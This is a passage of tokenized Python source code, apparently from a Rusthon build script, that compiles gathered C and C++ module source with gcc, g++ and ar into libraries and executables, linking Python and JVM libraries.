"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "code", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "code", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "source_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "module", " ", "must", " ", "contain", " ", "a", " ", "build", " ", "config_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "raise_", "Run", "time", "Error_", "(_", "'", "missi", "ng", " ", "code", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "source_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "data_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpa", "k_", "=_", "{_", "'", "source", "'_", ":_", "data_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "c", "'_", "]_", "._", "append_", "(_", "cpa", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "libname", "_", "=_", "'", "default", "-", "clib", "%", "s", "'_", "%_", "len_", "(_", "output_", "[_", "'", "c", "'_", "]_", ")_", "##", " ", "TOD", "O", " ", "user", " ", "named_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link_", "._", "append_", "(_", "libname", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dynami", "c\\u", "path_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "lib", "'_", "+_", "libname", "_", "+_", "'.", "so", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "static", "\\u", "path_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "lib", "'_", "+_", "libname", "_", "+_", "'.", "a", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "path_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/'_", "+_", "libname", "_", "+_", "'.", "o", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tmpfile_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/", "rust", "hon", "-", "build", ".", "c", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmpfile_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "[_", "'", "gcc", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "idi", "r_", "in_", "cin", "clu", "de_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "cmd_", "._", "append_", "(_", "'-", "I", "'_", "+_", "idi", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "._", "extend_", "(_", "[_", "'-", "c", "'_", ",_", "tmpfile_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "dynami", "clib", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "cmd_", "._", "extend_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "f", "PIC", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "O", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "fo", "mit", "-", "frame", "-", "point", "er", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "Wall", "'_", ",_", "'-", "Wn", "o", "-", "unu", "sed", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "o", "'_", ",_", "object\\u", "path_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cmd_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "gcc", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "shared", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "Wl", ",-", "sona", "me", ",", "lib", "%", "s", ".", "so", "'_", "%_", "libname", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#'", "-", "Wl", ",-", "rpath", ",", "/", "tmp", "',", "_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "Wl", ",-", "-", "export", "-", "dynami", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "pthread", "'_", ",_", "'-", "o", "'_", ",_", "dynami", "c\\u", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "object\\u", "path_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpa", "k_", "[_", "'", "dynami", "clib", "'_", "]_", "=_", "dynami", "c\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpa", "k_", "[_", "'", "name", "'_", "]_", "=_", "'", "lib", "%", "s", ".", "so", "'_", "%_", "libname", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "cb", "uild", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "gcc", ":", " ", "fat", "al", " ", "error", ":", " ", "cann", "ot", " ", "speci", "fy", " ", "-", "o", " ", "with", " ", "-", "c", ",", " ", "-", "S", " ", "or", " ", "-", "E", " ", "with", " ", "multiple", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cmd", ".", "extend", "(", "cb", "uild", ")", " ", " ", "##", " ", "extra", " ", "c", " ", "files", " ", "`", "/", "some", "/", "path", "/*", ".", "c", "`_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "raise_", "Run", "time", "Error_", "(_", "'", "TOD", "O", " ", "fix", " ", "buildi", "ng", " ", "multiple", " ", ".", "c", " ", "files", " ", "at", " ", "onc", "e", " ", "usi", "ng", " ", "gcc", " ", "option", " ", "-", "o", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "._", "extend_", "(_", "[_", "'-", "o", "'_", ",_", "object\\u", "path_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'===", "=======", " ", "compil", "ing", " ", "C", " ", "static", " ", "librar", "y", " ", "=========", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", "'_", "._", "join_", "(_", "cmd_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'===", "=======", " ", "ar", " ", ":", " ", "static", "lib", " ", "=========", "='_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "[_", "'", "ar", "'_", ",_", "'", "rcs", "'_", ",_", "static", "\\u", "path_", ",_", "object\\u", "path_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpa", "k_", "[_", "'", "static", "lib", "'_", "]_", "=_", "libname", "_", "+_", "'.", "a", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpa", "k_", "[_", "'", "name", "'_", "]_", "=_", "libname", "_", "+_", "'.", "a", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "modules_", "[_", "'", "c", "++'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "links_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "idi", "rs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "defines_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", "=_", "sorted_", "(_", "modules_", "[_", "'", "c", "++'_", "]_", ",_", "key_", "=_", "lambda_", "mod_", ":_", "mod_", "._", "get_", "(_", "'", "index", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "main", "mod_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "builddir_", "=_", "tempfile_", "._", "gettempdir_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "compile", "\\u", "mode", " ", "=", " ", "'", "binar", "y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "mod_", "in_", "mod", "s", "\\u", "sorte", "d\\u", "by", "\\u", "index_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "'", "tag", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "tag", "'_", "]_", "and_", "(_", "mod_", "[_", "'", "tag", "'_", "]_", "._", "endswith_", "(_", "'.", "hp", "p", "'_", ")_", "or_", "mod_", "[_", "'", "tag", "'_", "]_", "._", "endswith_", "(_", "'.", "hp", "p", "'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "allow", "s", " ", "plain", " ", "header", " ", "files", " ", "to", " ", "be", " ", "include", "d", " ", "in", " ", "build", " ", "director", "y", " ", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "open_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "path_", "._", "join_", "(_", "builddir_", ",_", "mod_", "[_", "'", "tag", "'_", "]_", ")_", ",_", "'", "wb", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "write_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "c", "++'_", "]_", "._", "append_", "(_", "mod_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "source_", "._", "append_", "(_", "mod_", "[_", "'", "code", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "name", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "name", "'_", "]_", "==_", "'", "main", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "main", "mod_", "=_", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "main", "mod_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "main", "mod_", "=_", "mod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "link", "s", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "links_", "._", "extend_", "(_", "mod_", "[_", "'", "link", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "include", "-", "dirs", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "idi", "rs_", "._", "extend_", "(_", "mod_", "[_", "'", "include", "-", "dirs", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "defin", "es", "'_", "in_", "mod_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "defines_", "._", "extend_", "(_", "mod_", "[_", "'", "defin", "es", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "'", "compile", "-", "mode", "'", " ", "in", " ", "mod", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "compile", "\\u", "mode", " ", "=", " ", "mod", "['", "compile", "-", "mode", "']", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "tag", "'_", "in_", "mod_", "and_", "mod_", "[_", "'", "tag", "'_", "]_", "and_", "'.'_", "not_", "in_", "mod_", "[_", "'", "tag", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "exe", "name_", "=_", "mod_", "[_", "'", "tag", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tmpfile_", "=_", "builddir_", "+_", "'/", "rust", "hon", "-", "c", "++", "-", "build", ".", "cpp", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "'\\\\", "n", "'_", "._", "join_", "(_", "source_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "open_", "(_", "tmpfile_", ",_", "'", "wb", "'_", ")_", "._", "write_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "=_", "[_", "'", "g", "++'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "compile", "\\u", "mode_", "==_", "'", "binar", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "cmd_", "._", "extend_", "(_", "[_", "'-", "O", "3", "'_", ",_", "'-", "fpro", "file", "-", "generat", "e", "'_", ",_", "'-", "march", "=", "nativ", "e", "'_", ",_", "'-", "mtu", "ne", "=", "nativ", "e", "'_", ",_", "'-", "I", "'_", "+_", "tempfile_", "._", "gettempdir_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "._", "append_", "(_", "'-", "Wl", ",-", "rpath", ",", "/", "usr", "/", "local", "/", "lib", "/'_", ")_", "##", " ", "extra", " ", "user", " ", "install", "ed", " ", "dynami", "c", " ", "libs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "._", "append_", "(_", "'-", "Wl", ",-", "rpath", ",.", "/'_", ")_", "##", " ", "can", " ", "not", " ", "load", " ", "dynami", "c", " ", "libs", " ", "from", " ", "same", " ", "director", "y", " ", "with", "out", " ", "this_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "._", "append_", "(_", "tmpfile_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'/'_", "in_", "exe", "name_", "and_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "os_", "._", "path_", "._", "join_", "(_", "builddir_", ",_", "os_", "._", "path_", "._", "split_", "(_", "exe", "name_", ")_", "[_", "0_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "os_", "._", "makedirs_", "(_", "os_", "._", "path_", "._", "join_", "(_", "builddir_", ",_", "os_", "._", "path_", "._", "split_", "(_", "exe", "name_", ")_", "[_", "0_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "compile", "\\u", "mode_", "==_", "'", "binar", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "cmd_", "._", "extend_", "(_", "[_", "'-", "o", "'_", ",_", "os_", "._", "path_", "._", "join_", "(_", "builddir_", ",_", "exe", "name_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "compile", "\\u", "mode_", "==_", "'", "dynami", "clib", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "cmd_", "._", "extend_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'-", "shared", "'_", ",_", "'-", "f", "PIC", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exe", "name_", "+=_", "'.", "so", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "._", "extend_", "(_", "[_", "'-", "o", "'_", ",_", "os_", "._", "path_", "._", "join_", "(_", "builddir_", ",_", "exe", "name_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "._", "extend_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "'-", "pthread", "'_", ",_", "'-", "std", "=", "c", "++", "11", "'_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "D_", "in_", "defines_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "cmd_", "._", "append_", "(_", "'-", "D", "%", "s", "'_", "%_", "D_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "nu", "itk", "a_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", " ", "note", ":", " ", "linking", " ", "happ", "ens", " ", "after", " ", "the", " ", "object", "-", "bin", " ", "above", " ", "is", " ", "created", " ", "`-", "o", " ", "rust", "on", "-", "c", "++", "-", "bin", "`", ",_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "fixes", " ", "the", " ", "error", ":", " ", "undefined", " ", "reference", " ", "to", " ", "`\\u", "Py", "Thread", "State", "\\u", "Curr", "ent", "',", " ", "etc", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "if", " ", "not", " ", "nu", "itk", "a", "\\u", "include", "\\u", "path", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "nu", "itk", "a", "\\u", "include", "\\u", "path", " ", "=", " ", "'/", "usr", "/", "local", "/", "lib", "/", "python", "2.7", "/", "dist", "-", "package", "s", "/", "nu", "itk", "a", "/", "build", "/", "include", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", "cmd", ".", "append", "('", "-", "I", "'+", "nu", "itk", "a", "\\u", "include", "\\u", "path", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "cmd_", "._", "append_", "(_", "'-", "I", "/", "usr", "/", "include", "/", "python", "2.7", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cmd_", "._", "append_", "(_", "'-", "lp", "yth", "on2", ".7", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "idi", "rs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "for_", "idi", "r_", "in_", "idi", "rs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "cmd_", "._", "append_", "(_", "'-", "I", "'_", "+_", "idi", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "links_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "for_", "lib_", "in_", "links_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "cmd_", "._", "append_", "(_", "'-", "l", "'_", "+_", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "alw", "ay", "s", " ", "link", " ", "to", " ", "lib", "dl", ",", " ", "external", " ", "librar", "ies", " ", "may", " ", "require", " ", "dl", "\\u", "open", ",", " ", "etc", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "._", "append_", "(_", "'-", "ld", "l", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "link_", "or_", "gi", "ws_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "if_", "gi", "ws_", ":_", "##", " ", "link", " ", "to", " ", "the", " ", "JV", "M", " ", "if", " ", "gi", "ws", " ", "bindi", "ngs", " ", "wer", "e", " ", "compile", "d", " ", "##", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "cmd_", "._", "append_", "(_", "'-", "lj", "vm", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "environ_", "[_", "'", "LD", "\\u", "LIBRARY", "\\u", "PATH", "'_", "]_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "for", " ", "jre", "path", " ", "in", " ", "'", "include", " ", "include", "/", "linux", " ", "jre", "/", "lib", "/", "i3", "86", " ", "jre", "/", "lib", "/", "i3", "86", "/", "client", "/'", ".", "split", "():", "_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "jre", "path_", "in_", "'", "include", " ", "include", "/", "linux", "'_", "._", "split_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "cmd_", "._", "append_", "(_", "'-", "I", "%", "s", "/", "%", "s", "'_", "%_", "(_", "os_", "._", "environ_", "[_", "'", "JAVA", "\\u", "HOM", "E", "'_", "]_", ",_", "jre", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "jre", "path_", "in_", "'", "jre", "/", "lib", "/", "am", "d6", "4", " ", "jre", "/", "lib", "/", "am", "d6", "4", "/", "server", "/'_", "._", "split_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "cmd_", "._", "append_", "(_", "'-", "L", "%", "s", "/", "%", "s", "'_", "%_", "(_", "os_", "._", "environ_", "[_", "'", "JAVA", "\\u", "HOM", "E", "'_", "]_", ",_", "jre", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os_", "._", "environ_", "[_", "'", "LD", "\\u", "LIBRARY", "\\u", "PATH", "'_", "]_", "+=_", "':", "%", "s", "/", "%", "s", "'_", "%_", "(_", "os_", "._", "environ_", "[_", "'", "JAVA", "\\u", "HOM", "E", "'_", "]_", ",_", "jre", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "raise", " ", "Run", "time", "Error", "(", "os", ".", "environ", "['", "LD", "\\u", "LIBRARY", "\\u", "PATH", "'])", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "else", ":", " ", " ", "##", " ", "TOD", "O", " ", "fix", " ", "jvm", " ", "with", " ", "static", " ", "c", " ", "libs_", "\\u\\u\\uNL\\u\\u\\u_", "#", "\t", "cmd", ".", "append", "('", "-", "static", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "link_", ":_", "##", " ", "c", " ", "static", "libs", " ", "or", " ", "gi", "ws", " ", "c", "++", " ", "wrapp", "ers", " ", "##", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "cmd_", "._", "append_", "(_", "'-", "L", "'_", "+_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/.", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "libname", "_", "in_", "link_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "cmd_", "._", "append_", "(_", "'-", "l", "'_", "+_", "libname", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "(_", "'===", "=======", " ", "g", "++", " ", ":", " ", "compile", " ", "main", " ", "=========", "='_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", "'_", "._", "join_", "(_", "cmd_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subprocess_", "._", "check", "\\u", "call_", "(_", "cmd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "main", "mod_", "[_", "'", "build", "'_", "]_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "source", "'_", ":_", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "binar", "y", "'_", ":_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/'_", "+_", "exe", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "exe", "name_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "compile", "\\u", "mode_", "==_", "'", "binar", "y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "output_", "[_", "'", "c", "++'_", "]_", "._", "append_", "(_", "main", "mod_", "[_", "'", "build", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "[_", "'", "execute", "able", "s", "'_", "]_", "._", "append_", "(_", "tempfile_", "._", "gettempdir_", "(_", ")_", "+_", "'/'_", "+_", "exe", "name_", ")_", 